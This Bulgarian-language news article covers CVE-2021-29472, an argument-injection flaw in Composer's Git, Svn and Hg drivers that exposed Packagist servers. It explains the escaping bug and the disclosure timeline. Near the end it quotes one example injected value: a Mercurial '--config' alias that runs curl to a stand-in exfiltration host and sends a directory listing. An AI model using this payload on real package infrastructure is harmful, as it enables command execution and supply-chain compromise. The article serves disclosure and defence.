Уязвимост Π² пакСтния ΠΌΠ΅Π½ΠΈΠ΄ΠΆΡŠΡ€ Composer, която позволява ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚ΠΈΡ€Π°Π½Π΅ Π½Π° PHP Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΡ‚ΠΎ Packagist

Π’ ΠΌΠ΅Π½ΠΈΠ΄ΠΆΡŠΡ€Π° Π½Π° зависимости Composer Π΅ ΠΎΡ‚ΠΊΡ€ΠΈΡ‚Π° ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½Π° уязвимост (CVE-2021-29472), която позволява ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Π½Π΅Ρ‚ΠΎ Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π² систСмата ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ с особСно ΠΎΡ„ΠΎΡ€ΠΌΠ΅Π½Π° стойност Π½Π° URL, опрСдСлящ адрСса Π·Π° изтСглянС Π½Π° ΠΈΠ·Ρ‚ΠΎΡ‡Π½ΠΈΡ†ΠΈΡ‚Π΅. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ сС проявява Π² ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΈΡ‚Π΅ GitDriver, SvnDriver ΠΈ HgDriver, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ ΠΏΡ€ΠΈ систСмитС Π·Π° ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ» Π½Π° вСрсии Git, Subversion ΠΈ Mercurial. Уязвимостта Π΅ отстранСна Π² вСрсиитС Π½Π° Composer 1.10.22 ΠΈ 2.0.13.

ОсобСно Π²Π°ΠΆΠ½ΠΎ Π΅ Π΄Π° сС ΠΎΡ‚Π±Π΅Π»Π΅ΠΆΠΈ, Ρ‡Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ основно Π΅ засСгнал ΠΏΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅ използвания Π² Composer ΠΏΠ°ΠΊΠ΅Ρ‚Π΅Π½ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ Packagist, ΠΊΠΎΠΉΡ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π²Π° 306 хиляди ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π·Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈ Π½Π° PHP ΠΈ обслуТва ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΠΎΡ‚ 1.4 ΠΌΠΈΠ»ΠΈΠ°Ρ€Π΄Π° изтСгляния мСсСчно. Π’ Ρ…ΠΎΠ΄Π° Π½Π° СкспСримСнт Π±Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, Ρ‡Π΅ ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Π½Π° информация Π·Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅ Π±ΠΈΡ…Π° ΠΌΠΎΠ³Π»ΠΈ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ» Π½Π°Π΄ инфраструктурата Π½Π° Packagist ΠΈ Π΄Π° ΠΏΡ€ΠΈΡ…Π²Π°Π½Π°Ρ‚ Π΄Π°Π½Π½ΠΈΡ‚Π΅ Π·Π° Π²Ρ…ΠΎΠ΄ Π½Π° администраторитС ΠΈΠ»ΠΈ Π΄Π° прСнасочат изтСглянСто Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ към Ρ‚Ρ€Π΅Ρ‚ΠΈ ΡΡŠΡ€Π²ΡŠΡ€, осигурявайки доставка Π½Π° ΠΈΠ·Π²Ρ€Π°Ρ‚Π΅Π½ΠΈ вСрсии Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ с Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ Π·Π° внСдряванС Π½Π° Π±Π΅ΠΊΠ΄ΠΎΡ€ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅ Π½Π° инсталацията Π½Π° зависимоститС.

ΠžΠΏΠ°ΡΠ½ΠΎΡΡ‚Ρ‚Π° Π·Π° ΠΊΡ€Π°ΠΉΠ½ΠΈΡ‚Π΅ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π°, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° composer.json ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ сС опрСдСля ΠΎΡ‚ самия ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π», Π° Π»ΠΈΠ½ΠΊΠΎΠ²Π΅Ρ‚Π΅ към ΠΈΠ·Ρ‚ΠΎΡ‡Π½ΠΈΡ†ΠΈΡ‚Π΅ сС ΠΏΡ€Π΅Π΄Π°Π²Π°Ρ‚ ΠΏΡ€ΠΈ Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Ρ‚Ρ€Π΅Ρ‚ΠΈ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ, ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ считани Π·Π° Π½Π°Π΄Π΅ΠΆΠ΄Π½ΠΈ. ΠžΡΠ½ΠΎΠ²Π½ΠΈΡΡ‚ ΡƒΠ΄Π°Ρ€ Π΅ ΠΏΠΎ рСпозитория Packagist.org ΠΈ услугата Private Packagist, ΠΊΠΎΠΈΡ‚ΠΎ ΠΈΠ·Π²ΠΈΠΊΠ²Π°Ρ‚ Composer с ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈ ΠΎΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅. Π—Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΡ‚Π΅ Π»ΠΈΡ†Π° ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° ΠΈΠ·ΠΏΡŠΠ»Π½ΡΡ‚ своя ΠΊΠΎΠ΄ Π½Π° ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° Packagist, ΠΊΠ°Ρ‚ΠΎ Ρ€Π°Π·ΠΏΠΎΠ»ΠΎΠΆΠ°Ρ‚ спСциално ΠΎΡ„ΠΎΡ€ΠΌΠ΅Π½ ΠΏΠ°ΠΊΠ΅Ρ‚.

Π•ΠΊΠΈΠΏΡŠΡ‚ Π½Π° Packagist отстрани уязвимостта Π² Ρ€Π°ΠΌΠΊΠΈΡ‚Π΅ Π½Π° 12 часа слСд Π΄ΠΎΠΊΠ»Π°Π΄Π²Π°Π½Π΅Ρ‚ΠΎ ѝ. Π˜Π·ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ…Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈΡ‚Π΅ Π½Π° Packagist Π½Π° 22 Π°ΠΏΡ€ΠΈΠ» ΠΈ Π² ΡΡŠΡ‰ΠΈΡ Π΄Π΅Π½ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ бСшС Ρ€Π΅ΡˆΠ΅Π½. ΠŸΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΡ‚ΠΎ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π½Π° Composer с отстраняванС Π½Π° уязвимостта бСшС ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Π½ΠΎ Π½Π° 27 Π°ΠΏΡ€ΠΈΠ», Π° Π΄Π΅Ρ‚Π°ΠΉΠ»ΠΈΡ‚Π΅ бяха Ρ€Π°Π·ΠΊΡ€ΠΈΡ‚ΠΈ Π½Π° 28 Π°ΠΏΡ€ΠΈΠ». ΠΡƒΠ΄ΠΈΡ‚ΡŠΡ‚ Π½Π° Π»ΠΎΠ³ΠΎΠ²Π΅Ρ‚Π΅ Π½Π° ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° Packagist Π½Π΅ ΠΏΠΎΠΊΠ°Π·Π° ΡΠ²ΡŠΡ€Π·Π°Π½Π° с уязвимостта ΠΏΠΎΠ΄ΠΎΠ·Ρ€ΠΈΡ‚Π΅Π»Π½Π° активност.

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ‚Π° Π΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅Π½Π° ΠΎΡ‚ Π³Ρ€Π΅ΡˆΠΊΠ° Π² ΠΊΠΎΠ΄Π° Π·Π° Π²Π΅Ρ€ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½Π΅ Π½Π° URL Π² основния Ρ„Π°ΠΉΠ» composer.json ΠΈ Π»ΠΈΠ½ΠΊΠΎΠ²Π΅Ρ‚Π΅ Π·Π° изтСглянС Π½Π° изходния ΠΊΠΎΠ΄. Π“Ρ€Π΅ΡˆΠΊΠ°Ρ‚Π° Π΅ Π½Π°Π»ΠΈΡ‡Π½Π° Π² ΠΊΠΎΠ΄Π° ΠΎΡ‚ Π½ΠΎΠ΅ΠΌΠ²Ρ€ΠΈ 2011 Π³ΠΎΠ΄ΠΈΠ½Π°. Π’ Packagist сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ спСциални слоСвС Π·Π° ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°Π½Π΅ Π½Π° изтСглянСто Π½Π° ΠΊΠΎΠ΄Π° Π±Π΅Π· зависимост ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Π° систСма Π·Π° ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° изходния ΠΊΠΎΠ΄, ΠΊΠΎΠΈΡ‚ΠΎ сС ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Ρ‚ Ρ‡Ρ€Π΅Π· ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅ Π½Π° β€žfromShellCommandlineβ€œ с ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ ΠΎΡ‚ командния Ρ€Π΅Π΄. НапримСр, Π·Π° git сС ΠΈΠ·Π²ΠΈΠΊΠ²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° β€žgit ls-remote β€”heads $URLβ€œ, ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ URL Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π΅Π½ с ΠΌΠ΅Ρ‚ΠΎΠ΄Π° β€žProcessExecutor::escape($url)β€œ, ΠΊΠΎΠΉΡ‚ΠΎ Π΅ΠΊΡ€Π°Π½ΠΈΡ€Π° ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»Π½ΠΎ опасни конструкции, ΠΊΠ°Ρ‚ΠΎ β€ž$(…)β€œ ΠΈΠ»ΠΈ β€ž`…`β€œ.

Π‘ΡŠΡ‰Π½ΠΎΡΡ‚Ρ‚Π° Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π΅, Ρ‡Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΡŠΡ‚ ProcessExecutor::escape Π½Π΅ Π΅ Π΅ΠΊΡ€Π°Π½ΠΈΡ€Π°Π» послСдоватСлността β€žβ€”β€œ, ΠΊΠΎΠ΅Ρ‚ΠΎ Π΅ Π΄Π°Π»ΠΎ Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ Π·Π° ΡƒΠΊΠ°Π·Π²Π°Π½Π΅ Π½Π° всСки Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π΅Π½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚ΡŠΡ€ Π² URL. Π’Π°ΠΊΠΎΠ²Π° Π΅ΠΊΡ€Π°Π½ΠΈΡ€Π°Π½Π΅ Π΅ липсвало Π² Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ΠΈΡ‚Π΅ GitDriver.php, SvnDriver.php ΠΈ HgDriver.php. На Π°Ρ‚Π°ΠΊΠ°Ρ‚Π° ΠΏΡ€Π΅Π· GitDriver.php Π΅ ΠΏΠΎΠΏΡ€Π΅Ρ‡ΠΈΠ»ΠΎ Ρ‚ΠΎΠ²Π°, Ρ‡Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° β€žgit ls-remoteβ€œ Π½Π΅ ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ° ΡƒΠΊΠ°Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½ΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ слСд ΠΏΡŠΡ‚Ρ. Π’ΡŠΠ·ΠΌΠΎΠΆΠ½Π° Π΅ Π°Ρ‚Π°ΠΊΠ° Π½Π° HgDriver.php Ρ‡Ρ€Π΅Π· ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚ΡŠΡ€Π° β€žβ€”configβ€œ Π½Π° ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π°Ρ‚Π° β€žhqβ€œ, ΠΊΠΎΠ΅Ρ‚ΠΎ позволява ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° всяка ΠΊΠΎΠΌΠ°Π½Π΄Π° Ρ‡Ρ€Π΅Π· манипулация с конфигурацията β€žalias.identifyβ€œ. НапримСр, Π·Π° изтСглянС ΠΈ изпълнСниС Π½Π° ΠΊΠΎΠ΄Π° Ρ‡Ρ€Π΅Π· стартиранС Π½Π° ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π°Ρ‚Π° curl ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΡƒΠΊΠ°ΠΆΠ΅: β€”config=alias.identify=!curl http://exfiltration-host.tld β€”data β€œ$(ls -alh)”

Π Π°Π·ΠΏΠΎΠ»ΠΎΠΆΠΈΠ»ΠΈ Π² Packagist тСстов ΠΏΠ°ΠΊΠ΅Ρ‚ с ΠΏΠΎΠ΄ΠΎΠ±Π΅Π½ URL, изслСдоватСлитС установили, Ρ‡Π΅ слСд Ρ€Π°Π·ΠΏΠΎΠ»Π°Π³Π°Π½Π΅Ρ‚ΠΎ Π½Π° тСхния ΡΡŠΡ€Π²ΡŠΡ€ Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ HTTP-Π·Π°ΠΏΠΈΡ‚ ΠΎΡ‚ Π΅Π΄ΠΈΠ½ ΠΎΡ‚ ΡΡŠΡ€Π²ΡŠΡ€ΠΈ Packagist Π² AWS, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰ списък с Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π°Ρ‚Π° дирСктория.

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС със Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS ΠΈ VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ πŸ”₯ ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС със Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS ΠΈ VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ | ProHoster